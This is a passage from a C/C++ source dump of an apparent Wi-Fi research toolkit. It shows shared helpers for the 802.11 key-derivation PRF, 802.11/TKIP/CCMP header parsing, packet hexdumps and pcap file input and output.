#include 5 | 6 | uint32_t calc_crc(void *buf, size_t len); 7 | 8 | /** len includes the crc */ 9 | bool endswith_valid_crc(void *buf, size_t len); 10 | /** len doesn't include space for crc */ 11 | void append_crc(void *buf, size_t len); 12 | 13 | #endif // broadkey_crc_h_ 14 | -------------------------------------------------------------------------------- /shared/crypto.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | #include 4 | #include 5 | 6 | #include "crypto.h" 7 | 8 | /** 9 | * @param key, key_len key material for HMAC 10 | * @param label, label_len identifying label 11 | * @param data, data_len seed of the PRF 12 | * @param output, output_len output of the PRF 13 | * 14 | * See 802.11-2012: 11.6.1.2 "PRF". 15 | */ 16 | void ieee80211_prf( 17 | uint8_t *key, size_t key_len, 18 | uint8_t *label, size_t label_len, 19 | uint8_t *data, size_t data_len, 20 | uint8_t *output, size_t output_len) 21 | { 22 | size_t i, total_len, outpos; 23 | unsigned int outlen; 24 | uint8_t input[1024]; 25 | 26 | /* input = label || 0 || data */ 27 | memcpy(input, label, label_len); 28 | input[label_len] = 0; 29 | memcpy(&input[label_len + 1], data, data_len); 30 | total_len = label_len + 1 + data_len; 31 | 32 | /* reserve space for the loop counter i */ 33 | total_len++; 34 | 35 | /* generate the output in blocks */ 36 | outpos = 0; 37 | for (i = 0; i < output_len / SHA_DIGEST_LENGTH; i++) { 38 | input[total_len - 1] = i; 39 | 40 | outlen = SHA_DIGEST_LENGTH; 41 | HMAC(EVP_sha1(), key, key_len, input, total_len, &output[outpos], &outlen); 42 | outpos += SHA_DIGEST_LENGTH; 43 | } 44 | 45 | /* handle last part with intermediate copy to temp buffer */ 46 | if (output_len % SHA_DIGEST_LENGTH) { 47 | uint8_t temp[SHA_DIGEST_LENGTH]; 48 | 49 | input[total_len - 1] = i; 50 | outlen = SHA_DIGEST_LENGTH; 51 | HMAC(EVP_sha1(), key, key_len, input, total_len, temp, &outlen); 52 | 53 | memcpy(&output[outpos], temp, output_len % SHA_DIGEST_LENGTH); 54 | } 55 | } 56 | 57 | 58 | /** 59 | * @param key, key_len key material for HMAC 60 | * @param label, label_len identifying label 61 | * @param data, data_len seed of the PRF 62 | * @param output, output_len output of the PRF 63 | * 64 | * See 802.11-2012: 11.6.1.2 "PRF". 65 | */ 66 | void ieee80211_prf_256( 67 | uint8_t *key, size_t key_len, 68 | uint8_t *label, size_t label_len, 69 | uint8_t *data, size_t data_len, 70 | uint8_t *output) 71 | { 72 | size_t total_len; 73 | unsigned int outlen; 74 | uint8_t input[1024]; 75 | 76 | /* input = label || 0 || data */ 77 | memcpy(input, label, label_len); 78 | input[label_len] = 0; 79 | memcpy(&input[label_len + 1], data, data_len); 80 | total_len = label_len + 1 + data_len; 81 | 82 | /* reserve space for the loop counter i */ 83 | total_len++; 84 | 85 | /* generate the output in blocks */ 86 | input[total_len - 1] = 0; 87 | outlen = SHA_DIGEST_LENGTH; 88 | HMAC(EVP_sha1(), key, key_len, input, total_len, &output[0], &outlen); 89 | 90 | /* handle last part with intermediate copy to temp buffer */ 91 | uint8_t temp[SHA_DIGEST_LENGTH]; 92 | 93 | input[total_len - 1] = 1; 94 | outlen = SHA_DIGEST_LENGTH; 95 | HMAC(EVP_sha1(), key, key_len, input, total_len, temp, &outlen); 96 | 97 | memcpy(&output[20], temp, 12); 98 | } 99 | 100 | -------------------------------------------------------------------------------- /shared/crypto.h: -------------------------------------------------------------------------------- 1 | #ifndef broadkey_crypto_h_ 2 | #define broadkey_crypto_h_ 3 | 4 | #include 5 | 6 | enum EncType { 7 | EncType_Unknown, 8 | EncType_TKIP, 9 | EncType_CCMP 10 | }; 11 | 12 | /** extend random material */ 13 | void ieee80211_prf( 14 | uint8_t *key, size_t key_len, 15 | uint8_t *label, size_t label_len, 16 | uint8_t *data, size_t data_len, 17 | uint8_t *output, size_t output_len); 18 | 19 | void ieee80211_prf_256( 20 | uint8_t *key, size_t key_len, 21 | uint8_t *label, size_t label_len, 22 | uint8_t *data, size_t data_len, 23 | uint8_t *output); 24 | 25 | #endif // broadkey_crypto_h_ 26 | -------------------------------------------------------------------------------- /shared/ieee80211header.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | #include "ieee80211header.h" 5 | 6 | ieee80211tlv * ieee80211_search_tlv(ieee80211tlv *tlv, uint8_t tag, size_t *tlvlen) 7 | { 8 | if (*tlvlen < sizeof(ieee80211tlv)) 9 | return NULL; 10 | 11 | while (*tlvlen >= sizeof(ieee80211tlv)) 12 | { 13 | if (sizeof(ieee80211tlv) + tlv->length > *tlvlen) { 14 | //PySys_WriteStdout("Warning: advertised Information Element length (%d) larger than possible (%d)\n", 15 | // tlv->length, *tlvlen); 16 | return NULL; 17 | } 18 | 19 | if (tlv->tag == tag) 20 | return tlv; 21 | 22 | tlv = ieee80211_next_tlv(tlv, tlvlen); 23 | } 24 | 25 | return NULL; 26 | } 27 | 28 | ieee80211tlv * ieee80211_get_vendor_tlv(ieee80211tlv *tlv, const uint8_t *oui, uint8_t type, size_t tlvlen) 29 | { 30 | while (NULL != (tlv = ieee80211_search_tlv(tlv, IE_TAG_VENDOR_SPECIFIC, &tlvlen))) 31 | { 32 | if (memcmp(tlv->value, oui, 3) == 0 && tlv->value[3] == type) 33 | return tlv; 34 | 35 | tlv = ieee80211_next_tlv(tlv, &tlvlen); 36 | } 37 | 38 | return NULL; 39 | } 40 | 41 | 42 | void dump_wlan_packet(const unsigned char* h80211, int len) 43 | { 44 | int z, i, j; 45 | int mi_b = 0, mi_s = 0, mi_d = 0, mi_t = 0, mi_r = 0, is_wds = 0, key_index_offset; 46 | 47 | z = ((h80211[1] & 3) != 3) ? 24 : 30; 48 | if ((h80211[0] & 0x80) == 0x80) /* QoS */ 49 | z += 2; 50 | 51 | switch (h80211[1] & 3) { 52 | case 0: 53 | mi_b = 16; 54 | mi_s = 10; 55 | mi_d = 4; 56 | is_wds = 0; 57 | break; 58 | case 1: 59 | mi_b = 4; 60 | mi_s = 10; 61 | mi_d = 16; 62 | is_wds = 0; 63 | break; 64 | case 2: 65 | mi_b = 10; 66 | mi_s = 16; 67 | mi_d = 4; 68 | is_wds = 0; 69 | break; 70 | case 3: 71 | mi_t = 10; 72 | mi_r = 4; 73 | mi_d = 16; 74 | mi_s = 24; 75 | is_wds = 1; 76 | break; // WDS packet 77 | } 78 | 79 | PySys_WriteStdout("\n\n Size: %d, FromDS: %d, ToDS: %d", len, (h80211[1] & 2) >> 1, (h80211[1] & 1)); 80 | 81 | if ((h80211[0] & 0x0C) == 8 && (h80211[1] & 0x40) != 0) { 82 | // if (is_wds) key_index_offset = 33; // WDS packets have an additional MAC, so the key index is at byte 33 83 | // else key_index_offset = 27; 84 | key_index_offset = z + 3; 85 | 86 | if ((h80211[key_index_offset] & 0x20) == 0) 87 | PySys_WriteStdout(" (WEP)"); 88 | else 89 | PySys_WriteStdout(" (WPA)"); 90 | } 91 | 92 | PySys_WriteStdout("\n\n"); 93 | 94 | if (is_wds) { 95 | PySys_WriteStdout(" Transmitter = %02X:%02X:%02X:%02X:%02X:%02X\n", 96 | h80211[mi_t], h80211[mi_t + 1], h80211[mi_t + 2], 97 | h80211[mi_t + 3], h80211[mi_t + 4], h80211[mi_t + 5]); 98 | 99 | PySys_WriteStdout(" Receiver = %02X:%02X:%02X:%02X:%02X:%02X\n", 100 | h80211[mi_r], h80211[mi_r + 1], h80211[mi_r + 2], 101 | h80211[mi_r + 3], h80211[mi_r + 4], h80211[mi_r + 5]); 102 | } else { 103 | PySys_WriteStdout(" BSSID = %02X:%02X:%02X:%02X:%02X:%02X\n", 104 | h80211[mi_b], h80211[mi_b + 1], h80211[mi_b + 2], 105 | h80211[mi_b + 3], h80211[mi_b + 4], h80211[mi_b + 5]); 106 | } 107 | 108 | PySys_WriteStdout(" Dest. MAC = %02X:%02X:%02X:%02X:%02X:%02X\n", 109 | h80211[mi_d], h80211[mi_d + 1], h80211[mi_d + 2], h80211[mi_d 110 | + 3], h80211[mi_d + 4], h80211[mi_d + 5]); 111 | 112 | PySys_WriteStdout(" Source MAC = %02X:%02X:%02X:%02X:%02X:%02X\n", 113 | h80211[mi_s], h80211[mi_s + 1], h80211[mi_s + 2], h80211[mi_s 114 | + 3], h80211[mi_s + 4], h80211[mi_s + 5]); 115 | 116 | /* print a hex dump of the packet */ 117 | 118 | for (i = 0; i < len; i++) { 119 | if ((i & 15) == 0) { 120 | if (i == 224) { 121 | PySys_WriteStdout("\n --- CUT ---"); 122 | break; 123 | } 124 | 125 | PySys_WriteStdout("\n 0x%04x: ", i); 126 | } 127 | 128 | PySys_WriteStdout("%02x", h80211[i]); 129 | 130 | if ((i & 1) != 0) 131 | PySys_WriteStdout(" "); 132 | 133 | if (i == len - 1 && ((i + 1) & 15) != 0) { 134 | for (j = ((i + 1) & 15); j < 16; j++) { 135 | PySys_WriteStdout(" "); 136 | if ((j & 1) != 0) 137 | PySys_WriteStdout(" "); 138 | } 139 | 140 | PySys_WriteStdout(" "); 141 | 142 | for (j = 16 - ((i + 1) & 15); j < 16; j++) 143 | PySys_WriteStdout("%c", (h80211[i - 15 + j] < 32 || h80211[i - 15 + j] 144 | > 126) ? '.' : h80211[i - 15 + j]); 145 | } 146 | 147 | if (i > 0 && ((i + 1) & 15) == 0) { 148 | PySys_WriteStdout(" "); 149 | 150 | for (j = 0; j < 16; j++) 151 | PySys_WriteStdout("%c", (h80211[i - 15 + j] < 32 || h80211[i - 15 + j] 152 | > 127) ? '.' : h80211[i - 15 + j]); 153 | } 154 | } 155 | 156 | PySys_WriteStdout("\n\n"); 157 | } 158 | 159 | 160 | 161 | -------------------------------------------------------------------------------- /shared/ieee80211header.h: -------------------------------------------------------------------------------- 1 | #ifndef broadkey_ieee80211header_h__ 2 | #define broadkey_ieee80211header_h__ 3 | 4 | #include 5 | 6 | #define PREPACK __attribute__ ((__packed__)) 7 | 8 | /** http://www.radiotap.org/ */ 9 | typedef struct PREPACK ieee80211_radiotap_header { 10 | uint8_t it_version; /* set to 0 */ 11 | uint8_t it_pad; 12 | uint16_t it_len; /* entire length including radiotap header */ 13 | uint32_t it_present; /* fields present */ 14 | } ieee80211_radiotap_header; 15 | 16 | #define IEEE80211_FCSLEN 4 17 | // Minimum size of ACK 18 | #define IEEE80211_MINSIZE 10 19 | 20 | enum TYPE { 21 | TYPE_MNGMT = 0, 22 | TYPE_CNTRL = 1, 23 | TYPE_DATA = 2 24 | }; 25 | 26 | enum CONTROL { 27 | CONTROL_ACK = 13 28 | }; 29 | 30 | enum MNGMT { 31 | MNGMT_BEACON = 8 32 | }; 33 | 34 | /** IEEE Std 802.11-2007 paragraph 7.1 MAC frame formats */ 35 | typedef struct PREPACK ieee80211header { 36 | /** 7.1.3.1 Frame Control Field */ 37 | struct PREPACK fc 38 | { 39 | uint8_t version : 2; 40 | /** see IEEE802.11-2012 8.2.4.1.3 Type and Subtype fields */ 41 | uint8_t type : 2; 42 | uint8_t subtype : 4; 43 | uint8_t tods : 1; 44 | uint8_t fromds : 1; 45 | uint8_t morefrag : 1; 46 | uint8_t retry : 1; 47 | uint8_t pwrmgt : 1; 48 | uint8_t moredata : 1; 49 | uint8_t protectedframe : 1; 50 | uint8_t order : 1; 51 | } fc; 52 | /** 7.1.3.2 Duration/ID field. Content varies with frame type and subtype. */ 53 | uint16_t duration_id; 54 | /** 7.1.3.3 Address fields. For this program we always assume 3 addresses. */ 55 | uint8_t addr1[6]; 56 | uint8_t addr2[6]; 57 | uint8_t addr3[6]; 58 | /** 7.1.3.4 Sequence Control Field */ 59 | struct PREPACK sequence 60 | { 61 | uint8_t fragnum : 4; 62 | uint16_t seqnum : 12; 63 | } sequence; 64 | } ieee80211header; 65 | 66 | /** 7.1.3.5 QoS Control field. This is not present in all frames, and exact 67 | * usage of the bits depends on the type/subtype. Here we assume QoS data frame. */ 68 | typedef struct PREPACK ieee80211qosheader { 69 | // 7.1.3.5.1 TID subfield. Allowed values depend on Access Policy (7.3.2.30). 70 | uint8_t tid : 4; 71 | uint8_t eosp : 1; 72 | uint8_t ackpolicy : 2; 73 | uint8_t reserved : 1; 74 | uint8_t appsbufferstate; 75 | } ieee80211qosheader; 76 | 77 | static inline bool ieee80211_broadcast_mac(uint8_t mac[6]) { return mac[0] & 0x01; } 78 | static inline bool ieee80211_dataqos(const ieee80211header *hdr) { 79 | return hdr->fc.type == TYPE_DATA && hdr->fc.subtype >= 8 && hdr->fc.subtype <= 12; 80 | } 81 | static inline int ieee80211_hdrlen(const uint8_t *buf, int taillen = 0) { 82 | ieee80211header *hdr = (ieee80211header*)buf; 83 | int pos = sizeof(ieee80211header); 84 | if (hdr->fc.tods && hdr->fc.fromds) 85 | pos += 6; 86 | if (ieee80211_dataqos(hdr)) 87 | pos += sizeof(ieee80211qosheader); 88 | return pos + taillen; 89 | } 90 | 91 | /** IEEE Std 802.11-2007 paragraph 8.3.3.2 TKIP MPDU formats */ 92 | typedef struct PREPACK tkipheader 93 | { 94 | struct PREPACK iv 95 | { 96 | uint8_t tsc1; 97 | uint8_t wepseed; 98 | uint8_t tsc0; 99 | uint8_t reserved : 5; 100 | uint8_t extendediv : 1; 101 | uint8_t keyid : 2; 102 | } iv; 103 | struct PREPACK eiv 104 | { 105 | uint8_t tsc2; 106 | uint8_t tsc3; 107 | uint8_t tsc4; 108 | uint8_t tsc5; 109 | } eiv; 110 | } tkipheader; 111 | 112 | /** IEEE Std 802.11-2007 paragraph 8.3.3.2 TKIP MPDU formats */ 113 | typedef struct PREPACK tkiptail 114 | { 115 | union { 116 | uint64_t mic; 117 | uint8_t micbuff[8]; 118 | }; 119 | uint32_t icv; 120 | } tkiptail; 121 | 122 | typedef struct PREPACK ccmpheader 123 | { 124 | uint8_t pn0; 125 | uint8_t pn1; 126 | uint8_t reserved1; 127 | uint8_t reserved2 : 5; 128 | uint8_t extendediv : 1; 129 | uint8_t keyid : 2; 130 | 131 | uint8_t pn2; 132 | uint8_t pn3; 133 | uint8_t pn4; 134 | uint8_t pn5; 135 | } ccmpheader; 136 | 137 | static const int TIMEUNIT_USEC = 1024; 138 | 139 | typedef struct PREPACK ieee80211fixedparams { 140 | // Value of the timing synchronization function (TSF) 141 | uint64_t timestamp; 142 | // Number of time units (TUs) between target beacon transmission times (TBTTs) 143 | uint16_t interval; 144 | // Capabilities (not detected yet..) 145 | uint16_t capabilities; 146 | } ieee80211fixedparams; 147 | 148 | static const uint8_t IE_TAG_VENDOR_SPECIFIC = 221; 149 | 150 | typedef struct PREPACK ieee80211tlv { 151 | uint8_t tag; 152 | uint8_t length; 153 | uint8_t value[0]; 154 | } ieee80211tlv; 155 | 156 | static inline ieee80211tlv * ieee80211_next_tlv(ieee80211tlv *tlv, size_t *tlvlen = NULL) { 157 | size_t iesize = sizeof(ieee80211tlv) + tlv->length; 158 | if (tlvlen) *tlvlen = iesize > *tlvlen ? 0 : *tlvlen - iesize; 159 | return (ieee80211tlv *)((uint8_t*)(tlv + 1) + tlv->length); 160 | } 161 | 162 | ieee80211tlv * ieee80211_search_tlv(ieee80211tlv *tlv, uint8_t tag, size_t *tlvlen); 163 | ieee80211tlv * ieee80211_get_vendor_tlv(ieee80211tlv *tlv, const uint8_t *oui, uint8_t type, size_t tlvlen); 164 | 165 | static inline ieee80211tlv * ieee80211_get_tlv(ieee80211tlv *tlv, uint8_t tag, size_t tlvlen) 166 | { 167 | return ieee80211_search_tlv(tlv, tag, &tlvlen); 168 | } 169 | 170 | /** Hexdump of a complete 802.11 frame */ 171 | void dump_wlan_packet(const unsigned char* h80211, int len); 172 | 173 | #endif // broadkey_ieee80211header_h__ 174 | -------------------------------------------------------------------------------- /shared/mypcap.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | #include "mypcap.h" 6 | 7 | 8 | // =================================== DEFINES AND TYPES ======================================== 9 | 10 | #define FORMAT_CAP 1 11 | #define FORMAT_IVS 2 12 | #define FORMAT_IVS2 3 13 | 14 | #define TCPDUMP_MAGIC 0xA1B2C3D4 15 | #define TCPDUMP_CIGAM 0xD4C3B2A1 16 | #define IVSONLY_MAGIC "\xBF\xCA\x84\xD4" 17 | #define IVS2_MAGIC "\xAE\x78\xD1\xFF" 18 | #define IVS2_EXTENSION "ivs" 19 | #define IVS2_VERSION 1 20 | 21 | #define PCAP_VERSION_MAJOR 2 22 | #define PCAP_VERSION_MINOR 4 23 | 24 | #define uchar unsigned char 25 | #define ushort unsigned short 26 | #define uint unsigned int 27 | #define ulong unsigned long 28 | 29 | //BSSID const. length of 6 bytes; can be together with all the other types 30 | #define IVS2_BSSID 0x0001 31 | 32 | //ESSID var. length; alone, or with BSSID 33 | #define IVS2_ESSID 0x0002 34 | 35 | //wpa structure, const. length; alone, or with BSSID 36 | #define IVS2_WPA 0x0004 37 | 38 | //IV+IDX+KEYSTREAM, var. length; alone or with BSSID 39 | #define IVS2_XOR 0x0008 40 | 41 | /* [IV+IDX][i][l][XOR_1]..[XOR_i][weight] * 42 | * holds i possible keystreams for the same IV with a length of l for each keystream (l max 32) * 43 | * and an array "int weight[16]" at the end */ 44 | #define IVS2_PTW 0x0010 45 | 46 | //unencrypted packet 47 | #define IVS2_CLR 0x0020 48 | 49 | /** Main file header */ 50 | typedef struct pcap_file_header 51 | { 52 | uint magic; 53 | ushort version_major; 54 | ushort version_minor; 55 | int thiszone; 56 | uint sigfigs; 57 | uint snaplen; 58 | uint linktype; 59 | } pcap_file_header; 60 | 61 | 62 | typedef struct pcap_pkthdr 63 | { 64 | int tv_sec; 65 | int tv_usec; 66 | uint caplen; 67 | uint len; 68 | } pcap_pkthdr; 69 | 70 | struct ivs2_filehdr 71 | { 72 | unsigned short version; 73 | }; 74 | 75 | struct ivs2_pkthdr 76 | { 77 | unsigned short flags; 78 | unsigned short len; 79 | }; 80 | 81 | 82 | // =================================== FUNCTIONS ======================================== 83 | 84 | static int pcap_write_header(FILE *fp, int linktype) 85 | { 86 | pcap_file_header hdr; 87 | 88 | hdr.magic = TCPDUMP_MAGIC; 89 | hdr.version_major = PCAP_VERSION_MAJOR; 90 | hdr.version_minor = PCAP_VERSION_MINOR; 91 | hdr.thiszone = 0; 92 | hdr.sigfigs = 0; 93 | hdr.snaplen = 65535; 94 | hdr.linktype = linktype; 95 | 96 | if (fwrite(&hdr, sizeof(hdr), 1, fp) != 1) { 97 | //PyErr_SetFromErrno(PyErr_SetFromErrno); 98 | PyErr_Format(PyExc_IOError, "Failed to write pcap header"); 99 | return -1; 100 | } 101 | 102 | return 0; 103 | } 104 | 105 | 106 | int pcap_read_header(FILE *fp, pcap_file_header *hdr_out) 107 | { 108 | pcap_file_header hdr; 109 | 110 | if (fread(&hdr, sizeof(pcap_file_header), 1, fp) != 1) { 111 | //PyErr_SetFromErrno(PyErr_SetFromErrno); 112 | PyErr_Format(PyExc_IOError, "Failed to read pcap header (file too small?)"); 113 | return -1; 114 | } 115 | 116 | if (hdr.magic != TCPDUMP_MAGIC) { 117 | PyErr_Format(PyExc_ValueError, "Pcap header magic value not equal to TCPDUMP_MAGIC"); 118 | return -1; 119 | } 120 | 121 | if (hdr_out != NULL) 122 | *hdr_out = hdr; 123 | 124 | return 0; 125 | } 126 | 127 | 128 | FILE * pcap_open(const char *filename, bool writable, uint linktype) 129 | { 130 | FILE *pcap; 131 | 132 | if (writable) 133 | { 134 | pcap = fopen(filename, "wb"); 135 | if (pcap == NULL) { 136 | PyErr_Format(PyExc_IOError, "Unable to open file %s for writing", filename); 137 | return NULL; 138 | } 139 | if (pcap_write_header(pcap, linktype)) { 140 | PyErr_Format(PyExc_IOError, "Failed to write pcap header to %s", filename); 141 | fclose(pcap); 142 | return NULL; 143 | } 144 | } 145 | else 146 | { 147 | pcap_file_header hdr; 148 | 149 | pcap = fopen(filename, "rb"); 150 | if (pcap == NULL) { 151 | PyErr_Format(PyExc_IOError, "Unable to open file %s for reading", filename); 152 | return NULL; 153 | } 154 | if (pcap_read_header(pcap, &hdr)) { 155 | fclose(pcap); 156 | return NULL; 157 | } 158 | if (hdr.linktype != linktype) { 159 | PyErr_Format(PyExc_ValueError, "Pcap file %s has unexpected linktype %d", filename, hdr.linktype); 160 | fclose(pcap); 161 | return NULL; 162 | } 163 | } 164 | 165 | return pcap; 166 | } 167 | 168 | 169 | int pcap_write_packet(FILE *fp, void *buf, size_t len, uint64_t tsf) 170 | { 171 | pcap_pkthdr pkthdr; 172 | 173 | // get system time if no TSF is given 174 | if (tsf == 0) { 175 | struct timespec now; 176 | clock_gettime(CLOCK_MONOTONIC, &now); 177 | 178 | pkthdr.tv_sec = now.tv_sec; 179 | pkthdr.tv_usec = now.tv_nsec / 1000; 180 | } else { 181 | pkthdr.tv_sec = tsf / 1000000; 182 | pkthdr.tv_usec = tsf % 1000000; 183 | } 184 | 185 | pkthdr.caplen = len; 186 | pkthdr.len = len; 187 | 188 | if (fwrite(&pkthdr, sizeof(pkthdr), 1, fp) != 1) { 189 | //PyErr_SetFromErrno(PyErr_SetFromErrno); 190 | PyErr_Format(PyExc_IOError, "Failed to write pcap packet header to file"); 191 | return -1; 192 | } 193 | 194 | if (fwrite(buf, len, 1, fp) != 1) { 195 | //PyErr_SetFromErrno(PyErr_SetFromErrno); 196 | PyErr_Format(PyExc_IOError, "Failed to write pcap packet data to file"); 197 | return -1; 198 | } 199 | 200 | return 0; 201 | } 202 | 203 | 204 | int pcap_read_packet(FILE *fp, void *buf, size_t len, uint64_t *tsf) 205 | { 206 | pcap_pkthdr pkthdr; 207 | 208 | if (fread(&pkthdr, sizeof(pkthdr), 1, fp) != 1) { 209 | if (feof(fp)) return 0; 210 | 211 | //PyErr_SetFromErrno(PyErr_SetFromErrno); 212 | PyErr_Format(PyExc_IOError, "Failed to read pcap packet header"); 213 | return -1; 214 | } 215 | 216 | if (pkthdr.caplen > len) { 217 | //PyErr_SetFromErrno(PyErr_SetFromErrno); 218 | PyErr_Format(PyExc_ValueError, "%s: buffer too small (size %lu) for packet in pcap file (size %d)", 219 | __FUNCTION__, len, pkthdr.caplen); 220 | return -1; 221 | } 222 | 223 | if (fread(buf, pkthdr.caplen, 1, fp) != 1) { 224 | //PyErr_SetFromErrno(PyErr_SetFromErrno); 225 | PyErr_Format(PyExc_IOError, "Failed to read pcap packet data"); 226 | return -1; 227 | } 228 | 229 | if (tsf) *tsf = pkthdr.tv_sec * 1000000 + pkthdr.tv_usec; 230 | 231 | return pkthdr.len; 232 | } 233 | 234 | 235 | 236 | -------------------------------------------------------------------------------- /shared/mypcap.h: -------------------------------------------------------------------------------- 1 | /* 2 | * FIXME: Use real pcap library instead? 3 | * 4 | * Copyright (C) 2001-2004 Christophe Devine 5 | * 6 | * This program is free software; you can redistribute it and/or modify 7 | * it under the terms of the GNU General Public License as published by 8 | * the Free Software Foundation; either version 2 of the License, or 9 | * (at your option) any later version. 10 | * 11 | * This program is distributed in the hope that it will be useful, 12 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 13 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 14 | * GNU General Public License for more details. 15 | * 16 | * You should have received a copy of the GNU General Public License 17 | * along with this program; if not, write to the Free Software 18 | * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA 19 | * 20 | * In addition, as a special exception, the copyright holders give 21 | * permission to link the code of portions of this program with the 22 | * OpenSSL library under certain conditions as described in each 23 | * individual source file, and distribute linked combinations 24 | * including the two. 25 | * You must obey the GNU General Public License in all respects 26 | * for all of the code used other than OpenSSL. If you modify 27 | * file(s) with this exception, you may extend this exception to your 28 | * version of the file(s), but you are not obligated to do so. If you 29 | * do not wish to do so, delete this exception statement from your 30 | * version. If you delete this exception statement from all source 31 | * files in the program, then also delete it here. 32 | 33 | */ 34 | #ifndef broadkey_ng_pcap_h__ 35 | #define broadkey_ng_pcap_h__ 36 | 37 | #include 38 | #include 39 | 40 | #define LINKTYPE_ETHERNET 1 41 | #define LINKTYPE_IEEE802_11 105 42 | #define LINKTYPE_PRISM_HEADER 119 43 | #define LINKTYPE_RADIOTAP_HDR 127 44 | #define LINKTYPE_PPI_HDR 192 45 | 46 | 47 | /** 48 | * @param writable If true we are creating a file, otherwise we are reading a file. 49 | * @param linktype If writable is true, this created a pcap file of the given type. 50 | * If writable is false, linktype must match that of the file (or NULL is returned). 51 | */ 52 | FILE * pcap_open(const char *filename, bool writable, uint32_t linktype = LINKTYPE_RADIOTAP_HDR); 53 | 54 | int pcap_write_packet(FILE *fp, void *buf, size_t len, uint64_t tsf); 55 | int pcap_read_packet(FILE *fp, void *buf, size_t len, uint64_t *tsf); 56 | 57 | 58 | #endif // broadkey_ng_pcap_h__ 59 | -------------------------------------------------------------------------------- /shared/util.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | #include "util.h" 5 | 6 | void pydump_buffer(const uint8_t *buf, size_t len, const char *prefix /*= NULL*/) 7 | { 8 | char ascii[17] = {0}; 9 | size_t i = 0; 10 | 11 | if (prefix) PySys_WriteStdout("%s:\n\t", prefix); 12 | else PySys_WriteStdout("\t"); 13 | 14 | for (i = 0; i < len; ++i) { 15 | if (i > 0 && i % 16 == 0) { 16 | PySys_WriteStdout(" %s\n\t", ascii); 17 | } else if (i > 0 && i % 8 == 0) { 18 | PySys_WriteStdout(" "); 19 | } 20 | 21 | PySys_WriteStdout("%02X ", buf[i]); 22 | 23 | ascii[i % 16] = buf[i]; 24 | if (!isprint(buf[i])) ascii[i % 16] = '.'; 25 | } 26 | 27 | int padding = (i % 16) == 0 ? 0 : 3 * (16 - (i % 16)) + ((i %16) < 8); 28 | PySys_WriteStdout("%*s %s\n", padding, "", ascii); 29 | } 30 | 31 | -------------------------------------------------------------------------------- /shared/util.h: -------------------------------------------------------------------------------- 1 | #ifndef broadkey_util_h_ 2 | #define broadkey_util_h_ 3 | 4 | #include 5 | 6 | #define METHOD_ENTRY(name, doc) \ 7 | {#name, py_##name, METH_VARARGS, doc} 8 | 9 | void pydump_buffer(const uint8_t *buf, size_t len, const char *prefix = NULL); 10 | 11 | #endif // broadkey_util_h_ 12 | --------------------------------------------------------------------------------